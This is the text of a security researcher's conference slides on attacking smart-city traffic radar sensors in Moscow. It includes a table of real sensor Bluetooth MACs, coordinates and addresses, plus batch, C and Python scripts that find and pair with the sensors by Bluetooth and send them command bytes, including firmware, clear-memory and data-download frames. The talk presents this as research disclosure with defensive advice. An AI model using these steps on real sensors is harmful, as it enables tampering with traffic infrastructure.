Smart Megalopolises. How Safe and Reliable Is Your Data?
Megalopolises are changing fast
The plan for today

- Smart cities: Sensors' role
- Reconnaissance: Vendors, locations, etc.
- Sensors' functionality: Interfaces and data
- Firmware: The Holy Grail of embedded
- Automation: Let's send some bytes
- Smart cities: Outside sensors
Why cities need all this stuff?

- Smart cities: Sensors' role
- Reconnaissance: Vendors, locations, etc.
- Sensors' functionality: Interfaces and data
- Firmware: The Holy Grail of embedded
- Automation: Let's send some bytes
- Smart cities: Outside sensors
Why do cities have to be smart?

- Investments
- Staff
- Infrastructure
- Data centers
- Operation center

![Image](www.gucodd.ru)
Raw data for planning
...And for traffic management

- Possible to use for the traffic lights
- Counting vehicles number and change timings
- Counting pedestrians as well
Radars are the source of such data
The first phase

- Smart cities: Sensors' role
- Reconnaissance: Vendors, locations, etc.
- Sensors' functionality: Interfaces and data
- Firmware: The Holy Grail of embedded
- Automation: Let's send some bytes
- Smart cities: Outside sensors
Appearance is a great help
Any IDs you can get are also

- MACs
- Names
- Any IDs

<table>
<thead>
<tr>
<th>btid [PK] text</th>
<th>friendly text</th>
<th>latitude real</th>
<th>longitude real</th>
<th>vendor text</th>
</tr>
</thead>
<tbody>
<tr>
<td>00:01:95:1A:84:90</td>
<td>RTMS G4 [17243]</td>
<td>55.8228</td>
<td>37.5132</td>
<td>Sena Technologies, Inc.</td>
</tr>
<tr>
<td>00:01:95:1A:84:A2</td>
<td>RTMS G4 [17232]</td>
<td>55.8243</td>
<td>37.5064</td>
<td>Sena Technologies, Inc.</td>
</tr>
<tr>
<td>00:01:95:1A:84:AE</td>
<td>RTMS G4 [17232]</td>
<td>55.8226</td>
<td>37.5137</td>
<td>Sena Technologies, Inc.</td>
</tr>
<tr>
<td>00:01:95:1A:84:B5</td>
<td>RTMS G4 [17245]</td>
<td>55.8226</td>
<td>37.5137</td>
<td>Sena Technologies, Inc.</td>
</tr>
<tr>
<td>00:01:95:1A:84:C7</td>
<td>RTMS G4 [17185]</td>
<td>55.8209</td>
<td>37.504</td>
<td>Sena Technologies, Inc.</td>
</tr>
<tr>
<td>00:01:95:1A:85:5C</td>
<td>RTMS G4 [17245]</td>
<td>55.8332</td>
<td>37.5236</td>
<td>Sena Technologies, Inc.</td>
</tr>
</tbody>
</table>
What we are gathering?

- Smart cities: Sensors' role
- Reconnaissance: Vendors, locations, etc.
- **Sensors' functionality: Interfaces and data**
- Firmware: The Holy Grail of embedded
- Automation: Let's send some bytes
- Smart cities: Outside sensors
Look, interfaces

<table>
<thead>
<tr>
<th>Communication</th>
<th>RTMS Port Configuration</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>PC Serial</strong></td>
<td><strong>Port1</strong></td>
</tr>
<tr>
<td>Serial Port</td>
<td><strong>Port2</strong></td>
</tr>
<tr>
<td>COM10</td>
<td>9600</td>
</tr>
<tr>
<td>Baudrate</td>
<td>RS232</td>
</tr>
<tr>
<td>9600</td>
<td>RS485</td>
</tr>
<tr>
<td></td>
<td>RS422</td>
</tr>
<tr>
<td></td>
<td>RTS/CTS</td>
</tr>
<tr>
<td></td>
<td>RTS/CTS</td>
</tr>
</tbody>
</table>

- **Timeout, ms**: 500

Send
And a lot of data on-board

<table>
<thead>
<tr>
<th>Internal Memory</th>
<th>HELP</th>
<th>DETECTION MAP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total memory, bytes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>8,650,752</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Memory used, bytes</td>
<td></td>
<td></td>
</tr>
<tr>
<td>8,650,752</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- Refresh
- Time Range Download
  - From: 2015-07-26 00:00:00
  - To: 2015-07-26 20:43:21
- Download
- Clear Memory

Downloading data

C:Users\legezo\Desktop\rtms.asc

Bytes: 7,732,985

STOP
What's inside the data?

- Vehicle type
- Number of vehicles
- Median speed
- Station occupancy

<table>
<thead>
<tr>
<th>Time</th>
<th>Message No.</th>
<th>Volume</th>
<th>Reg</th>
<th>Med</th>
<th>Large</th>
<th>Truck</th>
<th>Xlarge</th>
<th>Station ID</th>
<th>Ocupancy</th>
<th>Fwdlk Speed</th>
<th>Sidefrd Spd</th>
<th>Speed 85%</th>
</tr>
</thead>
<tbody>
<tr>
<td>12 02 2015 18:20:00</td>
<td>220</td>
<td>4 43 31 1</td>
<td>0 13 16 0</td>
<td>1 6 6 0</td>
<td>0 0 0 0</td>
<td>0 1 1 0</td>
<td>1 0 2 0</td>
<td>30105</td>
<td>0.6 3.7 6.1 0.1</td>
<td>89 78 47 75</td>
<td>90 81 49 75</td>
<td></td>
</tr>
<tr>
<td>12 02 2015 18:25:00</td>
<td>221</td>
<td>11 59 33 5</td>
<td>0 21 13 2</td>
<td>0 9 7 1</td>
<td>1 2 2 0</td>
<td>0 1 0 1</td>
<td>4 0 1 0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

15
The Holy Grail

- Smart cities: Sensors' role
- Reconnaissance: Vendors, locations, etc.
- Sensors' functionality: Interfaces and data
- Firmware: The Holy Grail of embedded
- Automation: Let's send some bytes
- Smart cities: Outside sensors
Can we add some functions?

- Through interface
- Debugger?
- Commands?
- What is format?
Format looks like iHex or SREC

```<DSP 06067400>
:000000000203DA00072B98DE367C63508B20497D1F837C0D1F1D668E425BF147E4E6FEF0
:0010000203DA020A5B13175A3FAA20A77500BB8399034E3FEF2164A267849D12ED981
:0020000203DA0405AC5C0D1F34DA16A36CD0EC87E2D8431AA31D655C50E2C0D9B052E
:0030000203DA060C85E8A028F1D2BDF5A7B2560FE5909DA1F2ACEB5391549E9C8C3CE50
:0040000203DA080BFA8FA2481878A35E41DC35429CEE585746BB2EDC4BB1AE3A428D753
:0050000203DA0A0D5045BF3C3FA8A6E14CB8D5FE8C74F46F2F87501CC25D1B31A4C1CE8
:0060000203DA0C94B4D14B6D8B6D50264FB5C8DEA50B019D61EEF9EB816D145901DEFF
</DSP>

<MU 05DC7400>
:0000400000093291A3CC4D053D7CEFFE8DF6243802E615674EF614D3E61D850E2607B7F59AA3DA64D297
:001400000407979A6FC02AD0743CE902AD3F59E3CF3A92820473162331CD2499B84D09FB23062CA401833
:002400000805618067B7635D44FF423403AAD16F8BF133A77DD626CB8A0CF3E758EE87F9F3A7C91A4EC0
:003400000C0B9F6DD37F26297931558964011DDEF2F5697640336F996F6D00B2E32026522F87D023
:004400001007B4E3239AF61FD56D8F69A614A49EE674C438550387A6582FF7EAE499B95143B798570859
:005400001400E55442BA3C206F3849D8E23CBDECC7147C96D33C947576A17A2374F0D3188033E47482
:00640000180FF77C9575BBFF42BA365D1E06A2AB8280A911F87F38E3040A30440FC120D4B02EE71E70F73
</MU>
```
But for which controller is it?
LinkedIn isn't only for HR

Hi Denis,

No, it's a not secret RTMS G4 used duo of DSP and MCU. TI TMS320F2811 (signal processing) and Atmel ATMEGA128 (communication and transceiver control). Wavetronix opted for DSP and FPGA solution. They started with TI C667X family and recently they moved to Analog Devices to lower power consumption. FPGA are Xilinx, various families depending on model.
Yes, both DSP and MCU use proprietary encryption algorithm based on 2 tables of 256 keys (DSP and MCU use different pseudo random tables).

- For me in a blackbox mode it looks like dead end
- But does it mean dead end at all?
- Of course not!
Even with the stock firmware..

- Smart cities: Sensors' role
- Reconnaissance: Vendors, locations, etc.
- Sensors' functionality: Interfaces and data
- Firmware: The Holy Grail of embedded
- Automation: Let's send some bytes
- Smart cities: Outside sensors
Reconnaissance first

- I started with script + C
- Bluetooth tools
- adb to get GPS from phone
- C code for sending
- What to send?

::Check for BT devices with given part of the name
btdiscovery | find "%SearchName%" > %BufferFile%

::We found something interesting
for /f %%i in ("%BufferFile%") do set size=%%-zi
if %size% gtr 0 (  
    ::Get device ID
    set /p DeviceFullInfo=<%BufferFile%

    ::Pair devices
    btpair -padmin -b%DeviceFullInfo:~0,19%

::Let's save in result file
echo %date% %time% >> %OutputFile%
type %BufferFile% >> %OutputFile%

::And add corresponding GPS data to it
adb shell dumpsys location | find "acc=" > %GPSFile%
type %GPSFile% >> %OutputFile%

::Send all needed bytes
C:\Users\diegezo\rtms.exe

::Unpair device
btpair -u -b%DeviceFullInfo:~0,19%

go_to_start
Commands are partly known

**Figure 5-7: Vehicle Classification Request Format**

**Table 5-4: Vehicle Classification Request Byte Descriptions**

<table>
<thead>
<tr>
<th>Byte</th>
<th>Item/Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0-1</td>
<td>FFAA</td>
<td>Two bytes (four hexadecimal digits) indicating the start of the frame.</td>
</tr>
<tr>
<td>2</td>
<td>D7</td>
<td>One byte (two hexadecimal digits) indicating this is a Vehicle Classification request.</td>
</tr>
<tr>
<td>3</td>
<td>02</td>
<td>One byte (two hexadecimal digits) indicating the length of the Data field (2 bytes).</td>
</tr>
</tbody>
</table>
So we can automate

```c
#include "stdlib.h"
HANDLE hPort;
HANDLE hResponseFile;
LPCWSTR strPortName = TEXT("\\\.\COM30");
LPCWSTR strResponseFileName = TEXT("C:/Users/dlegezo/Documents/output.txt");
DCB PortState = { 0 };

int GetPortState ()
{
    if ((GetCommState(hPort, &PortState) == 0))
    {
        printf("Get configuration port has a problem: %d\n", GetLastError());
        return 1;
    }
    return 0;
}

int SetPortState()
{
    PortState.BaudRate = 9600;
    PortState.BytesSize = 8;
    PortState.FParity = 0;
    PortState.StopBits = 1;
    if (!SetCommState(hPort, &PortState))
    {
        printf("Failed to Set Comm State: %d\n", GetLastError());
        return 1;
    }
    return 0;
}
/*CRC - sum all after qual and bytes number missed Frame Qualifiers:
  19 FF AA 19 01 FF FF
  1C FF AA 1C 01 FF FF
  1D FF AA 1D 01 FF FF
  42-48 FF AA 42 01 FF FF
  +55-56 FF AA 55 01 FF FF
  firmware FF A1 05 A4 1C 11 00 00 D1
          FF A1 05 A4 1C 10 00 00 D0
          FF A1 92 A4 10
  clear FF AA 51 02 00 01 00 01
  download FF AA 4F 0A 00 01 00 00 00 00 00 00 00 00 00 00 00 04 20 00 25
*/
DWORD dwBytesRead;
byte payload[9];
int i = 0;
payload[0] = 0xFF;
payload[1] = 0xAA;
payload[2] = 0x05;
payload[3] = 0xAA;
payload[4] = 0x01;
payload[5] = 0x11;
payload[6] = 0x00;
payload[7] = 0x00;
payload[8] = 0x01;
WriteFile(hPort, payload, 9, &dwBytesRead, NULL);
return 0;
```
Sensor will answer
What about the small DDoS?

Driving by, changing settings

Time: all traffic at night

Types: all traffic trucks
Python + PostgreSQL seems better

```python
if __name__ == "__main__":
    # In case if I need to clean the list of sensors
    #mod_postgresql.pg_clear_db(rtms_conn)

    # Connect to Postgresql
    pg_conn = mod_postgresql.pg_connect_db()
    gps_session = mod_gps.gps_open()

    # The main device searching loop
    try:
        while True:
            bt_devices = mod_bt.bt_discover()
            # print('cycle')
            if bt_devices != []:
                print('found something!'
                for bt_device in bt_devices:
                    # mod_BT.bt_connect(bt_device)
                    # mod_BT.bt_send(bt_device)
                    pg_cursor_sel = mod_postgresql.pg_get_existing(pg_conn, 'btid', 'tab_rtms')
                    rtms_sensors = mod_postgresql.pg_get_existing_list(pg_cursor_sel)
                    pg_cursor_ins = mod_postgresql.pg_add_new(pg_conn, rtms_sensors, bt_devices, gps_session)

    except KeyboardInterrupt:
        # Cleaning and exit
        gps_session.close()
        mod_postgresql.pg_close_db(pg_conn, pg_cursor_sel, pg_cursor_ins)
```
## Resolve vendor and address offline

<table>
<thead>
<tr>
<th>btid [PK] text</th>
<th>friendly text</th>
<th>latitude real</th>
<th>longitude real</th>
<th>vendor text</th>
<th>place text</th>
</tr>
</thead>
<tbody>
<tr>
<td>00:01:95:18:A7:B9</td>
<td>RTMS G4 [17553]</td>
<td>55.8257</td>
<td>37.5268</td>
<td>Sena Technologies, Inc.</td>
<td>b-r Matrosa Zheleznyaka, 3, Moskva, Russia</td>
</tr>
<tr>
<td>00:01:95:18:A8:B2</td>
<td>RTMS G4 [17631]</td>
<td>55.8258</td>
<td>37.5268</td>
<td>Sena Technologies, Inc.</td>
<td>b-r Matrosa Zheleznyaka, 2/37, Staropetrovskiy pr-d, 13, Moskva, Russia</td>
</tr>
<tr>
<td>00:01:95:1A:84:90</td>
<td>RTMS G4 [17243]</td>
<td>55.8243</td>
<td>37.5064</td>
<td>Sena Technologies, Inc.</td>
<td>ul. Zoi i Aleksandra Kosmodemyanskoy, 13, Moskva, Russia</td>
</tr>
<tr>
<td>00:01:95:1A:84:A2</td>
<td>RTMS G4 [17232]</td>
<td>55.8228</td>
<td>37.5132</td>
<td>Sena Technologies, Inc.</td>
<td>Staropetrovskiy pr-d, 13, Moskva, Russia</td>
</tr>
<tr>
<td>00:01:95:1A:84:B5</td>
<td>RTMS G4 [17232]</td>
<td>55.8226</td>
<td>37.5137</td>
<td>Sena Technologies, Inc.</td>
<td>6-y Novopodmoskovny per., 3, Moskva, Russia</td>
</tr>
<tr>
<td>00:01:95:1A:84:C7</td>
<td>RTMS G4 [17185]</td>
<td>55.8209</td>
<td>37.504</td>
<td>Sena Technologies, Inc.</td>
<td>6-y Novopodmoskovny per., 3, Moskva, Russia</td>
</tr>
<tr>
<td>00:01:95:1A:85:5C</td>
<td>RTMS G4 [17245]</td>
<td>55.8332</td>
<td>37.5236</td>
<td>Sena Technologies, Inc.</td>
<td>4-y Novopodmoskovny per., 2A, Sobolevskiy pr-d, 24, Moskva, Russia</td>
</tr>
</tbody>
</table>
What to do further and else?

- Smart cities: Sensors' role
- Reconnaissance: Vendors, locations, etc.
- Sensors' functionality: Interfaces and data
- Firmware: The Holy Grail of embedded
- Automation: Let's send some bytes
- Smart cities: Outside sensors
Side effects

- Gather Wi-Fi data and filter it with Postgres views
- MACs can be anonymous
- WEP is still alive
Where is always place for fuzzing

- Where are undocumented commands
So much other stuff
...even speeding penalties

- Smart cities security perimeter if huge
- So is the surface of attacks
- Different authorities are in charge of the infrastructure
...And tools
What to apply?

- Change appearance and default names
- Don't rely only on standard authentication
- Cooperate with third-party researches
- Think a little bit like malefactor or hire someone who can
- I know embedded devices vendors with generous bug bounty program. Respect
- Cities also could participate
Summary

- Smart city infrastructure is visible due to ID
- Kudos to vendor, firmware is strong
- Automation is possible with change of any settings
- Interesting side effects with wireless protocols
- Go further!
Denis Legezo

Denis.Legezo@kaspersky.com